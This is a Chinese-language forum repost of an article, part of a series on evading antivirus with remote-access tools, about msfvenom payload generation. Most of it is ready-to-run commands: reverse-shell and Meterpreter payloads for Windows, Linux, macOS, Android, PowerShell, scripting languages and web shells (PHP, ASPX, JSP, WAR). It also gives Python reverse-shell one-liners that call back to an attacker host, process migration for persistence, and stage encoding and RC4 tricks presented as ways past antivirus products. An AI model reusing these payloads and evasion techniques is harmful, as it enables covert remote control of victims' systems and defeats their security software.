安全矩阵

 找回密码
 立即注册
搜索
查看: 2603|回复: 0

远控免杀专题文章(2)-msfvenom隐藏的参数

[复制链接]

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
发表于 2020-3-7 23:34:42 | 显示全部楼层 |阅读模式
远控免杀专题文章(2)-msfvenom隐藏的参数


转载于:https://mp.weixin.qq.com/s/1r0iakLpnLrjCrOp2gT10w


因为cobaltstrike生成payload比较简单,这里不再累述,只是介绍一下msfvenom的基本参数和一些小技巧。


本节目录如下:




msfvenom简介

msfvenom是msfpayload和msfencode的结合体,于2015年6月8日取代了msfpayload和msfencode。在此之后,metasploit-framework下面的的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)都不再被支持。


常规参数

msfvenom所有参数



部分参数解读


-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 指定创建好的payload的存放位置
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表


比如想查看windows/meterpreter/reverse_tcp支持什么平台、哪些选项,可以使用msfvenom -p windows/meterpreter/reverse_tcp --list-options



使用msfvenom --list payloads可查看所有payloads



使用msfvenom --list encoders可查看所有编码器



可以看到评级最高的两个encoder为cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了。

类似可用msfvenom --list命令查看的还有payloads, encoders, nops, platforms, archs, encrypt, formats。


几个重要的监听参数

防止假session

在实战中,经常会遇到假session或者刚连接就断开的情况,这里补充一些监听参数,防止假死与假session。


复制代码

防止session意外退出

  1. msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0  //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
  2. msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭<b>handler后台持续监听
  3. </b>msf exploit(multi/handler) > exploit -j -z
复制代码


使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。


还有种比较快捷的建立监听的方式,在msf下直接执行:

  1. msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp
复制代码

会生成监听



payload的可持续化

一般来说使用msfvenom生成的payload会单独开启一个进程,这种进程很容易被发现和关闭,在后期想做持久化的时候只能再使用migrate进行。



其实在生成payload时可直接使用如下命令,生成的payload会直接注入到指定进程中。


  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o  shell.exe
复制代码

生成的shell程序执行后会启动两个进程shell.exe和svchost.exe,关闭其中一个不会影响会话状态。唯一美中不足的是svchost.exe不是system32目录下的。



在上面的生成payload参数中:

(1)PrependMigrate=true PrependMigrateProc=svchost.exe 使这个程序默认会迁移到svchost.exe进程,自己测试的时候不建议到这个进程而是其他的持久进程。

(2)使用-p指定使用的攻击载荷模块,使用-e指定使用x86/shikata_ga_nai编码器,使用-f选项告诉MSF编码器输出格式为exe,-o选项指定输出的文件名为payload.exe,保存在根目录下。



绕过杀软

这是green-m大佬提到的一种方式,使用reverse_https等payload时可以使用下列方法bypass部分杀软。


生成payload:

  1. msfvenom -p windows/meterpreter/reverse_https lhost=10.211.55.2 lport=3333 -f c
复制代码

在msf中进行如下设置,将控制端向被控制端发送的stage进行编码


  1. <div>
  2. </div><div>msf exploit(multi/handler) > set EnableStageEncoding true   //尝试使用不同的编码器对stage进行编码,可能绕过部分杀软的查杀</div><div>EnableStageEncoding => true</div><div>msf exploit(multi/handler) > set stageencoder x86/fnstenv_mov</div><div>Stageencoder => x64/xor</div><div>msf exploit(multi/handler) > set stageencodingfallback false</div><div>stageencodingfallback => false</div><div>
  3. </div>
复制代码



同样,使用reverse_tcp_rc4也有同样的效果,而且不能设置stageencoder选项,更稳定更方便。


  1. msfvenom -p  windows/meterpreter/reverse_tcp_rc4  lhost=10.211.55.2 lport=3333 RC4PASSWORD=tidesec  -f c
复制代码

利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。就可以在symantec眼皮下执行meterpreter。


各平台payload生成


二进制
windows

  1. <div>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe</div><div>
  2. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > shell.exe</div>
复制代码


windows下生成32位/64位payload时需要注意:以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使用-a x86选项指定。如果要生成64位,则payload为

  1. windows/x64/meterpreter/reverse_tcp。
复制代码

Linux


  1. <div>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf</div>
复制代码


Mac
  1. <div>
  2. </div><div>msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f macho > shell.macho</div>
复制代码


Android


  1. <div>msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.apk

  2. </div><div>msfvenom -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 R > test.apk</div>
复制代码



Powershell
  1. msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
复制代码



Netcat

nc正向连接


  1. msfvenom -p windows/shell_hidden_bind_tcp LHOST=10.211.55.2 LPORT=3333  -f exe> 1.exe
复制代码

nc反向连接,监听


  1. msfvenom -p windows/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333  -f exe> 1.exe
复制代码



Shellcode

基于Linux的Shellcode
  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f c
复制代码



基于Windows的Shellcode
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f c
复制代码


基于Mac的Shellcode
  1. msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f c
复制代码


脚本


Python反弹shell


  1. <div>msfvenom -p cmd/unix/reverse_python LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py

  2. </div><div>msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py</div>
复制代码



Python正向shell


  1. <div>python/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.2",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</div><div>
  2. python/python3 -c "exec("import socket, subprocess;s = socket.socket();s.connect(("10.211.55.2",3333))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())")"</div>
复制代码


Bash


  1. msfvenom -p cmd/unix/reverse_bash LHOST=10.211.55.2 LPORT=3333 -f raw > shell.sh
复制代码


Perl
  1. msfvenom -p cmd/unix/reverse_perl LHOST=10.211.55.2 LPORT=3333 -f raw > shell.pl
复制代码


Lua
  1. <div>
  2. </div><div>msfvenom -p cmd/unix/reverse_lua LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.lua</div>
复制代码


Ruby
  1. msfvenom -p ruby/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.rb
复制代码


WebPHP


  1. msfvenom -p php/meterpreter_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.phpcat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
复制代码


ASPX


  1. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspx
复制代码


ASP
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f asp > shell.asp
复制代码



JSP
  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.jsp
复制代码


WAR
  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f war > shell.war
复制代码


nodejs
  1. msfvenom -p nodejs/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.js
复制代码



Handlers

  1. <div>
  2. </div><div>use exploit/multi/handlerset PAYLOAD <<img src="static/image/smiley/default/titter.gif" border="0" smilieid="9" alt=";P">ayload name>set LHOST 10.211.55.2set LPORT 3333set ExitOnSession falseexploit -j -z</div>
复制代码


msfvenom命令自动补全

msfvenom参数和命令很多,各种payload和encoder经常让人眼花缭乱,特别是对英语不好的人来说有些命令可能很容易忘记。所以Green_m大佬写了一个zsh插件,可以自动化的补全msfvenom命令,有了它妈妈再也不用担心我会忘记msfvenom命令了!

先看看安装后的效果:




安装如下:


安装前提:已经安装了zsh。

# 下载msfvenom plugin.
git clone https://github.com/Green-m/msfvenom-zsh-completion ~/.oh-my-zsh/custom/plugins/msfvenom/

# 打开 ~/.zshrc 文件,启用插件
plugins=(...  msfvenom)

# 在当前shell中导入.zshrc文件中的设置
source ~/.zshrc


之后可正常使用。


参考资料





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:52 , Processed in 0.014110 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表